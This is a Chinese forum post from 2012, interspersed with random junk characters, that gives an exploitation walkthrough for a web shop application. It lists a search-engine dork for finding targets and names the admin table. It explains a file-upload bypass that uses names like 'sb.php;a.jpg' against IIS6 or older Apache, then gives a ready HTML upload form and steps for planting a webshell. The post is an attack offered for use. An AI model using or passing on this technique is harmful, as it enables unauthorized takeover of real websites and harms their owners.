关键字：inurl:webmall/detail.php?id
4 a- [* Q! L; ^3 c& l
5 C. S; i( F" ~4 V0 ^6 F9 J数据表：pwn_base_admin
4 k% }5 Z N y! F " r7 Z1 C$ Y* ~9 w2 ]) c# p
关于拿shell
8 ^4 C/ D- v. B7 K
, W+ x6 q# G+ l- q" r0 J首先登录后台admin.php
' C8 C+ V# m* q3 D, M
( V; E1 P; w+ s f5 y9 J; E* ^看了upload.php源码，分析了一个下午，然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件，但是并没有对文件名做限制。 j. B/ ^9 ? s2 [1 X
换句话说，sb.php;a.jpg这样的文件也是允许的，只要服务器是IIS6就拿到webshel，低版本的apache可以试着重命名为sb.php.jpg6 N$ X3 Y( A1 P# ?
然后搞完了才发现，这里的比我的更精简，我那个蛋疼，膜拜下三石，然后就借用了，我的开始和他的一样是采取全部源码的，然后发现了更精简的
# P0 ?# j d4 D8 b' \! F; ^<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php"> , h8 [5 {. }3 s; A! A. C
<input type="text" name="fileName" value="sb.php;a.jpg" /> 8 B: ?9 }* c+ E) X/ _* k
<input type="hidden" name="attachPath" value="news/pics/" /> - ^; A4 U& `6 ?; h# F, p g. H% h
<input type="file" name="fileData" size="14" /></td> 3 G1 f* o% q3 @9 A/ D, }
<input type="submit" name="button" value="确定" /> - U. `4 d! E0 T
</form>
2 L0 Z6 D* B" S; y$ f
1 R Z# c% W: l5 s+ T首先登录后台，然后把上面的文件保存为xx.html，修改action，然后再上传，如果为iis6就在上传了查看源码就好了。
% J1 W \' g" V! n4 K9 I4 L' a0 W* {: s
|
发表于 2012-11-9 20:52:15
收藏
支持
反对